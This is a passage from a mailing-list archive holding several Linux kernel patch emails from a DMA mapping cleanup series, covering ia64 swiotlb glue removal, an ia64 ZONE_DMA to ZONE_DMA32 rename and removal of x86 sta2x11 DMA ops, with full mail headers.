        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:25:05 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUpyS-0003l2-Cv
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:25:04 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756239AbdL2I1G (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:27:06 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:59362 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S932113AbdL2IXj (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:23:39 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=a3+mmScdBUKGDuk3d8S0sCgPJ1IKJd7Rin9lMj9dD+g=; b=FeYWzSPgkf6eEmVo8I1oZjEOE
        6OxkaRQPdl/O5KnC+8H9cUWhykWkdT4IGwMZ+gbMsufee7jNEEEB452NcgD2ohKr+cAkIobPYLX85
        KE6wwEuFl+uUA+oF5JaAbw2H5nXZg5Vu4quxOb2R2gd2/SUZjC3so9xNFVOXf5GTGl03AwGHQzpbM
        cHZjua9rpKMg/HmXLrHdt4CUCh+GEfa98m4o2I5/5IkEpDDBU5Nrjx/aJpVebgE3YrLBS8V/wNRri
        QWTwjAPU3ugfr5DtNlF7XvqKwQLoI3Q25voBV/lGxaAIXoo7bG3pjUbGCZsvPmosJpoE2sxERYk8m
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpws-0003eU-MY; Fri, 29 Dec 2017 08:23:27 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56090 gmane.linux.kernel.iommu:21934 gmane.linux.ports.alpha:4601 gmane.linux.kernel.arc:3222 gmane.linux.ports.arm.kernel:622947 gmane.linux.ports.hexagon:1454 gmane.linux.ports.ia64:28444 gmane.linux.kernel.metag:1528 gmane.linux.ports.mips.general:62977 gmane.linux.ports.parisc:28119 gmane.linux.ports.ppc64.devel:151551 gmane.linux.ports.sparc:27097 gmane.linux.kernel.cross-arch:40837 gmane.linux.kernel:2654264
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56090>

Move the few remaining bits of swiotlb glue towards their callers,
and remove the pointless on ia64 swiotlb variable.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/ia64/include/asm/dma-mapping.h |  1 -
 arch/ia64/include/asm/swiotlb.h     | 18 ------------------
 arch/ia64/kernel/dma-mapping.c      |  9 +++++++++
 arch/ia64/kernel/pci-dma.c          | 12 ++++++++++--
 arch/ia64/kernel/pci-swiotlb.c      | 36 ------------------------------------
 drivers/iommu/intel-iommu.c         |  2 +-
 6 files changed, 20 insertions(+), 58 deletions(-)
 delete mode 100644 arch/ia64/include/asm/swiotlb.h
 delete mode 100644 arch/ia64/kernel/pci-swiotlb.c

diff --git a/arch/ia64/include/asm/dma-mapping.h b/arch/ia64/include/asm/dma-mapping.h
index eabee56d995c..76e4d6632d68 100644
--- a/arch/ia64/include/asm/dma-mapping.h
+++ b/arch/ia64/include/asm/dma-mapping.h
@@ -8,7 +8,6 @@
  */
 #include <asm/machvec.h>
 #include <linux/scatterlist.h>
-#include <asm/swiotlb.h>
 #include <linux/dma-debug.h>
 
 #define ARCH_HAS_DMA_GET_REQUIRED_MASK
diff --git a/arch/ia64/include/asm/swiotlb.h b/arch/ia64/include/asm/swiotlb.h
deleted file mode 100644
index 841e2c7d0b21..000000000000
--- a/arch/ia64/include/asm/swiotlb.h
+++ /dev/null
@@ -1,18 +0,0 @@
-/* SPDX-License-Identifier: GPL-2.0 */
-#ifndef ASM_IA64__SWIOTLB_H
-#define ASM_IA64__SWIOTLB_H
-
-#include <linux/dma-mapping.h>
-#include <linux/swiotlb.h>
-
-#ifdef CONFIG_SWIOTLB
-extern int swiotlb;
-extern void pci_swiotlb_init(void);
-#else
-#define swiotlb 0
-static inline void pci_swiotlb_init(void)
-{
-}
-#endif
-
-#endif /* ASM_IA64__SWIOTLB_H */
diff --git a/arch/ia64/kernel/dma-mapping.c b/arch/ia64/kernel/dma-mapping.c
index 7a82c9259609..f2d57e66fd86 100644
--- a/arch/ia64/kernel/dma-mapping.c
+++ b/arch/ia64/kernel/dma-mapping.c
@@ -1,5 +1,6 @@
 // SPDX-License-Identifier: GPL-2.0
 #include <linux/dma-mapping.h>
+#include <linux/swiotlb.h>
 #include <linux/export.h>
 
 /* Set this to 1 if there is a HW IOMMU in the system */
@@ -23,3 +24,11 @@ const struct dma_map_ops *dma_get_ops(struct device *dev)
 	return dma_ops;
 }
 EXPORT_SYMBOL(dma_get_ops);
+
+#ifdef CONFIG_SWIOTLB
+void __init swiotlb_dma_init(void)
+{
+	dma_ops = &swiotlb_dma_ops;
+	swiotlb_init(1);
+}
+#endif
diff --git a/arch/ia64/kernel/pci-dma.c b/arch/ia64/kernel/pci-dma.c
index 3ba87c22dfbc..35e0cad33b7d 100644
--- a/arch/ia64/kernel/pci-dma.c
+++ b/arch/ia64/kernel/pci-dma.c
@@ -104,8 +104,16 @@ void __init pci_iommu_alloc(void)
 	detect_intel_iommu();
 
 #ifdef CONFIG_SWIOTLB
-	pci_swiotlb_init();
-#endif
+	if (!iommu_detected) {
+#ifdef CONFIG_IA64_GENERIC
+		printk(KERN_INFO "PCI-DMA: Re-initialize machine vector.\n");
+		machvec_init("dig");
+		swiotlb_dma_init();
+#else
+		panic("Unable to find Intel IOMMU");
+#endif /* CONFIG_IA64_GENERIC */
+	}
+#endif /* CONFIG_SWIOTLB */
 }
 
 #endif
diff --git a/arch/ia64/kernel/pci-swiotlb.c b/arch/ia64/kernel/pci-swiotlb.c
deleted file mode 100644
index 0f8d5fbd86bd..000000000000
--- a/arch/ia64/kernel/pci-swiotlb.c
+++ /dev/null
@@ -1,36 +0,0 @@
-// SPDX-License-Identifier: GPL-2.0
-/* Glue code to lib/swiotlb.c */
-
-#include <linux/pci.h>
-#include <linux/gfp.h>
-#include <linux/cache.h>
-#include <linux/module.h>
-#include <linux/dma-mapping.h>
-#include <linux/swiotlb.h>
-#include <asm/dma.h>
-#include <asm/iommu.h>
-#include <asm/machvec.h>
-
-int swiotlb __read_mostly;
-EXPORT_SYMBOL(swiotlb);
-
-void __init swiotlb_dma_init(void)
-{
-	dma_ops = &swiotlb_dma_ops;
-	swiotlb_init(1);
-}
-
-void __init pci_swiotlb_init(void)
-{
-	if (!iommu_detected) {
-#ifdef CONFIG_IA64_GENERIC
-		swiotlb = 1;
-		printk(KERN_INFO "PCI-DMA: Re-initialize machine vector.\n");
-		machvec_init("dig");
-		swiotlb_init(1);
-		dma_ops = &swiotlb_dma_ops;
-#else
-		panic("Unable to find Intel IOMMU");
-#endif
-	}
-}
diff --git a/drivers/iommu/intel-iommu.c b/drivers/iommu/intel-iommu.c
index 6c9df0773b78..569a9328e53e 100644
--- a/drivers/iommu/intel-iommu.c
+++ b/drivers/iommu/intel-iommu.c
@@ -4807,7 +4807,7 @@ int __init intel_iommu_init(void)
 	up_write(&dmar_global_lock);
 	pr_info("Intel(R) Virtualization Technology for Directed I/O\n");
 
-#ifdef CONFIG_SWIOTLB
+#if defined(CONFIG_X86) && defined(CONFIG_SWIOTLB)
 	swiotlb = 0;
 #endif
 	dma_ops = &intel_dma_ops;
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 55/67] ia64: replace ZONE_DMA with ZONE_DMA32
Date: Fri, 29 Dec 2017 09:18:59 +0100
Lines: 95
Approved: news@gmane.org
Message-ID: <20171229081911.2802-56-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535922 18375 195.159.176.226 (29 Dec 2017 08:25:22 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:25:22 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-sh-owner@vger.kernel.org Fri Dec 29 09:25:16 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1eUpyX-0003l2-DR
	for glps-linuxsh-dev@m.gmane.org; Fri, 29 Dec 2017 09:25:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1756232AbdL2I1F (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Fri, 29 Dec 2017 03:27:05 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:52186 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756117AbdL2IXb (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Fri, 29 Dec 2017 03:23:31 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=8KpO5Xt8AsLvC7+uYTdlCjY1ufli+t1solsOWE87rJk=; b=dq1JlzyyqjM2/0TkGVlPxJnfn
        KFqk77wnYEj8Pp66F42erqvQwK+wqHMCFsUfTutNCG3jDgVEaKc0J4JvZJsAjtVXZxGV0erqXfFjS
        LmCc340dcCKO8c7WvxE7WvoieuJEPOzBO3uLqRZs7WT9RFWqxvulxqH9fxJI8kJ/JW2mG7+5MvPh4
        LG1d+YOj+hRqx9hDKJoMhPotuICbU0XH4LWCf4em7fhk5Z6TUdZNwlPbHWAolUs0mXoZzlVOCXqA2
        PWdAlZ9fQBriE1o/Hafjtw5Pko/wcJZHYPhF+YE/1+qTRmIo8Fvu73YLU369BFAK3uj2nmv4e+gED
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpwj-0003YB-Kf; Fri, 29 Dec 2017 08:23:18 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:56091 gmane.linux.kernel.iommu:21935 gmane.linux.ports.alpha:4602 gmane.linux.kernel.arc:3223 gmane.linux.ports.arm.kernel:622948 gmane.linux.ports.hexagon:1455 gmane.linux.ports.ia64:28445 gmane.linux.kernel.metag:1529 gmane.linux.ports.mips.general:62978 gmane.linux.ports.parisc:28120 gmane.linux.ports.ppc64.devel:151552 gmane.linux.ports.sparc:27098 gmane.linux.kernel.cross-arch:40838 gmane.linux.kernel:2654265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/56091>

ia64 uses ZONE_DMA for allocations below 32-bits.  These days we
name the zone for that ZONE_DMA32, which will allow to use the
dma-direct and generic swiotlb code as-is, so rename it.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/ia64/Kconfig              | 2 +-
 arch/ia64/kernel/pci-swiotlb.c | 2 +-
 arch/ia64/mm/contig.c          | 4 ++--
 arch/ia64/mm/discontig.c       | 8 ++++----
 4 files changed, 8 insertions(+), 8 deletions(-)

diff --git a/arch/ia64/Kconfig b/arch/ia64/Kconfig
index 4d18fca885ee..888acdb163cb 100644
--- a/arch/ia64/Kconfig
+++ b/arch/ia64/Kconfig
@@ -66,7 +66,7 @@ config 64BIT
 	select ATA_NONSTANDARD if ATA
 	default y
 
-config ZONE_DMA
+config ZONE_DMA32
 	def_bool y
 	depends on !IA64_SGI_SN2
 
diff --git a/arch/ia64/kernel/pci-swiotlb.c b/arch/ia64/kernel/pci-swiotlb.c
index f1ae873a8c35..4a9a6e58ad6a 100644
--- a/arch/ia64/kernel/pci-swiotlb.c
+++ b/arch/ia64/kernel/pci-swiotlb.c
@@ -20,7 +20,7 @@ static void *ia64_swiotlb_alloc_coherent(struct device *dev, size_t size,
 					 unsigned long attrs)
 {
 	if (dev->coherent_dma_mask != DMA_BIT_MASK(64))
-		gfp |= GFP_DMA;
+		gfp |= GFP_DMA32;
 	return swiotlb_alloc_coherent(dev, size, dma_handle, gfp);
 }
 
diff --git a/arch/ia64/mm/contig.c b/arch/ia64/mm/contig.c
index 52715a71aede..7d64b30913d1 100644
--- a/arch/ia64/mm/contig.c
+++ b/arch/ia64/mm/contig.c
@@ -237,9 +237,9 @@ paging_init (void)
 	unsigned long max_zone_pfns[MAX_NR_ZONES];
 
 	memset(max_zone_pfns, 0, sizeof(max_zone_pfns));
-#ifdef CONFIG_ZONE_DMA
+#ifdef CONFIG_ZONE_DMA32
 	max_dma = virt_to_phys((void *) MAX_DMA_ADDRESS) >> PAGE_SHIFT;
-	max_zone_pfns[ZONE_DMA] = max_dma;
+	max_zone_pfns[ZONE_DMA32] = max_dma;
 #endif
 	max_zone_pfns[ZONE_NORMAL] = max_low_pfn;
 
diff --git a/arch/ia64/mm/discontig.c b/arch/ia64/mm/discontig.c
index 9b2d994cddf6..ac46f0d60b66 100644
--- a/arch/ia64/mm/discontig.c
+++ b/arch/ia64/mm/discontig.c
@@ -38,7 +38,7 @@ struct early_node_data {
 	struct ia64_node_data *node_data;
 	unsigned long pernode_addr;
 	unsigned long pernode_size;
-#ifdef CONFIG_ZONE_DMA
+#ifdef CONFIG_ZONE_DMA32
 	unsigned long num_dma_physpages;
 #endif
 	unsigned long min_pfn;
@@ -669,7 +669,7 @@ static __init int count_node_pages(unsigned long start, unsigned long len, int n
 {
 	unsigned long end = start + len;
 
-#ifdef CONFIG_ZONE_DMA
+#ifdef CONFIG_ZONE_DMA32
 	if (start <= __pa(MAX_DMA_ADDRESS))
 		mem_data[node].num_dma_physpages +=
 			(min(end, __pa(MAX_DMA_ADDRESS)) - start) >>PAGE_SHIFT;
@@ -724,8 +724,8 @@ void __init paging_init(void)
 	}
 
 	memset(max_zone_pfns, 0, sizeof(max_zone_pfns));
-#ifdef CONFIG_ZONE_DMA
-	max_zone_pfns[ZONE_DMA] = max_dma;
+#ifdef CONFIG_ZONE_DMA32
+	max_zone_pfns[ZONE_DMA32] = max_dma;
 #endif
 	max_zone_pfns[ZONE_NORMAL] = max_pfn;
 	free_area_init_nodes(max_zone_pfns);
-- 
2.14.2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH 54/67] x86: remove sta2x11_dma_ops
Date: Fri, 29 Dec 2017 09:18:58 +0100
Lines: 114
Approved: news@gmane.org
Message-ID: <20171229081911.2802-55-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535955 25509 195.159.176.226 (29 Dec 2017 08:25:55 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:25:55 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
        adi-buildroot-devel@lists.sourceforge.net,
        linux-c6x-dev@linux-c6x.org, linux-cris-kernel@axis.com,
        linux-hexagon@vger.kernel.org, linux-ia64@vger.kernel.org,
        linux-m68k@lists.linux-m68k.org, linux-metag@vger.kernel.org,
        Michal Simek <monstr@monstr.eu>, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        patches@groups.riscv.org, linux-s390@vger.kernel.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        Guan Xuetao <gxt@mprc.pku.edu.cn>, x86@kernel.org,
        linux-arch@vger.kernel.org, linux-kernel@vger.kernel.org
To: iommu@lists.linux-foundation.org
Original-X-From: linux-kernel-owner@vger.kernel.org Fri Dec 29 09:25:49 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1eUpz8-00062n-2n
	for glk-linux-kernel-3@m.gmane.org; Fri, 29 Dec 2017 09:25:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1755570AbdL2I1q (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Fri, 29 Dec 2017 03:27:46 -0500
Original-Received: from bombadil.infradead.org ([65.50.211.133]:42308 "EHLO
        bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1756088AbdL2IX0 (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Fri, 29 Dec 2017 03:23:26 -0500
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
        d=infradead.org; s=bombadil.20170209; h=References:In-Reply-To:Message-Id:
        Date:Subject:Cc:To:From:Sender:Reply-To:MIME-Version:Content-Type:
        Content-Transfer-Encoding:Content-ID:Content-Description:Resent-Date:
        Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:List-Id:
        List-Help:List-Unsubscribe:List-Subscribe:List-Post:List-Owner:List-Archive;
         bh=A0kfiSMeqvEnCbWIrVFOWN+hMDNGIZs6YHa3GV4n6ME=; b=reycdxmsrvl9S2hLFWvFHC2xg
        n0duzSFmSvBqMrZgRltZhOZuznN8QZmoORSIGRIYi2Y5lMRwZUjxMJyfWnkm83wKResPJkKb5t5zY
        JorYbOB6FiUbUWfo/rjtEPh7RmtP0qqwEZOIy1BEimEU9k3vVCXDp1o0/ar5ZfgcoVNhJn4CaCYVj
        wS35IN4WolH2uBjTCk4s5Z5p8G29efhe3hKTvK2mZH4tpUzeFdUuqE/p5W31zE25BzLkxH6oya4t9
        cEC7j/FfLPd4x5PTL+jYGEMpSnz494OKyMPRzP7fKG6KQehIkQgNZYgJJ+iJgGRHIRvq9LGFRMWzq
    
Original-Received: from 77.117.237.29.wireless.dyn.drei.com ([77.117.237.29] helo=localhost)
        by bombadil.infradead.org with esmtpsa (Exim 4.89 #1 (Red Hat Linux))
        id 1eUpwf-0003Ur-5D; Fri, 29 Dec 2017 08:23:13 +0000
X-Mailer: git-send-email 2.14.2
In-Reply-To: <20171229081911.2802-1-hch@lst.de>
X-SRS-Rewrite: SMTP reverse-path rewritten from <hch@infradead.org> by bombadil.infradead.org. See http://www.infradead.org/rpr.html
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2654266 gmane.linux.kernel.iommu:21936 gmane.linux.ports.alpha:4603 gmane.linux.kernel.arc:3224 gmane.linux.ports.arm.kernel:622949 gmane.linux.ports.hexagon:1456 gmane.linux.ports.ia64:28446 gmane.linux.kernel.metag:1530 gmane.linux.ports.mips.general:62979 gmane.linux.ports.parisc:28121 gmane.linux.ports.ppc64.devel:151553 gmane.linux.ports.sh.devel:56092 gmane.linux.ports.sparc:27099 gmane.linux.kernel.cross-arch:40839
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2654266>

Both the swiotlb and the dma-direct code already call into phys_to_dma
to translate the DMA address.  So the sta2x11 into phys_to_dma and
dma_to_phys are enough to handle this "special" device, and we can use
the plain old swiotlb ops.

Signed-off-by: Christoph Hellwig <hch@lst.de>
---
 arch/x86/include/asm/device.h |  3 +++
 arch/x86/pci/sta2x11-fixup.c  | 46 +++++--------------------------------------
 2 files changed, 8 insertions(+), 41 deletions(-)

diff --git a/arch/x86/include/asm/device.h b/arch/x86/include/asm/device.h
index 5e12c63b47aa..812bd6c5d602 100644
--- a/arch/x86/include/asm/device.h
+++ b/arch/x86/include/asm/device.h
@@ -6,6 +6,9 @@ struct dev_archdata {
 #if defined(CONFIG_INTEL_IOMMU) || defined(CONFIG_AMD_IOMMU)
 	void *iommu; /* hook for IOMMU specific extension */
 #endif
+#ifdef CONFIG_STA2X11
+	bool is_sta2x11 : 1;
+#endif
 };
 
 #if defined(CONFIG_X86_DEV_DMA_OPS) && defined(CONFIG_PCI_DOMAINS)
diff --git a/arch/x86/pci/sta2x11-fixup.c b/arch/x86/pci/sta2x11-fixup.c
index 15ad3025e439..7a5bafb76d77 100644
--- a/arch/x86/pci/sta2x11-fixup.c
+++ b/arch/x86/pci/sta2x11-fixup.c
@@ -159,43 +159,6 @@ static dma_addr_t a2p(dma_addr_t a, struct pci_dev *pdev)
 	return p;
 }
 
-/**
- * sta2x11_swiotlb_alloc_coherent - Allocate swiotlb bounce buffers
- *     returns virtual address. This is the only "special" function here.
- * @dev: PCI device
- * @size: Size of the buffer
- * @dma_handle: DMA address
- * @flags: memory flags
- */
-static void *sta2x11_swiotlb_alloc_coherent(struct device *dev,
-					    size_t size,
-					    dma_addr_t *dma_handle,
-					    gfp_t flags,
-					    unsigned long attrs)
-{
-	void *vaddr;
-
-	vaddr = swiotlb_alloc(dev, size, dma_handle, flags, attrs);
-	*dma_handle = p2a(*dma_handle, to_pci_dev(dev));
-	return vaddr;
-}
-
-/* We have our own dma_ops: the same as swiotlb but from alloc (above) */
-static const struct dma_map_ops sta2x11_dma_ops = {
-	.alloc = sta2x11_swiotlb_alloc_coherent,
-	.free = swiotlb_free,
-	.map_page = swiotlb_map_page,
-	.unmap_page = swiotlb_unmap_page,
-	.map_sg = swiotlb_map_sg_attrs,
-	.unmap_sg = swiotlb_unmap_sg_attrs,
-	.sync_single_for_cpu = swiotlb_sync_single_for_cpu,
-	.sync_single_for_device = swiotlb_sync_single_for_device,
-	.sync_sg_for_cpu = swiotlb_sync_sg_for_cpu,
-	.sync_sg_for_device = swiotlb_sync_sg_for_device,
-	.mapping_error = swiotlb_dma_mapping_error,
-	.dma_supported = dma_direct_supported,
-};
-
 /* At setup time, we use our own ops if the device is a ConneXt one */
 static void sta2x11_setup_pdev(struct pci_dev *pdev)
 {
@@ -205,7 +168,8 @@ static void sta2x11_setup_pdev(struct pci_dev *pdev)
 		return;
 	pci_set_consistent_dma_mask(pdev, STA2X11_AMBA_SIZE - 1);
 	pci_set_dma_mask(pdev, STA2X11_AMBA_SIZE - 1);
-	pdev->dev.dma_ops = &sta2x11_dma_ops;
+	pdev->dev.dma_ops = &swiotlb_dma_ops;
+	pdev->dev.archdata.is_sta2x11 = true;
 
 	/* We must enable all devices as master, for audio DMA to work */
 	pci_set_master(pdev);
@@ -225,7 +189,7 @@ bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
 {
 	struct sta2x11_mapping *map;
 
-	if (dev->dma_ops != &sta2x11_dma_ops) {
+	if (!dev->archdata.is_sta2x11) {
 		if (!dev->dma_mask)
 			return false;
 		return addr + size - 1 <= *dev->dma_mask;
@@ -249,7 +213,7 @@ bool dma_capable(struct device *dev, dma_addr_t addr, size_t size)
  */
 dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr)
 {
-	if (dev->dma_ops != &sta2x11_dma_ops)
+	if (!dev->archdata.is_sta2x11)
 		return paddr;
 	return p2a(paddr, to_pci_dev(dev));
 }
@@ -261,7 +225,7 @@ dma_addr_t __phys_to_dma(struct device *dev, phys_addr_t paddr)
  */
 phys_addr_t __dma_to_phys(struct device *dev, dma_addr_t daddr)
 {
-	if (dev->dma_ops != &sta2x11_dma_ops)
+	if (!dev->archdata.is_sta2x11)
 		return daddr;
 	return a2p(daddr, to_pci_dev(dev));
 }
-- 
2.14.2



From - Thu Nov 08 21:40:44 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Christoph Hellwig <hch@lst.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel.iommu,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.kernel.metag,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch,gmane.linux.kernel
Subject: [PATCH 51/67] set_memory.h: provide set_memory_{en,de}crypted stubs
Date: Fri, 29 Dec 2017 09:18:55 +0100
Lines: 34
Approved: news@gmane.org
Message-ID: <20171229081911.2802-52-hch@lst.de>
References: <20171229081911.2802-1-hch@lst.de>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1514535985 31810 195.159.176.226 (29 Dec 2017 08:26:25 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 29 Dec 2017 08:26:25 +0000 (UTC)
Cc: linux-alpha@vger.kernel.org, linux-snps-arc@lists.infradead.org,
        linux-arm-kernel@lists.infradead.org,
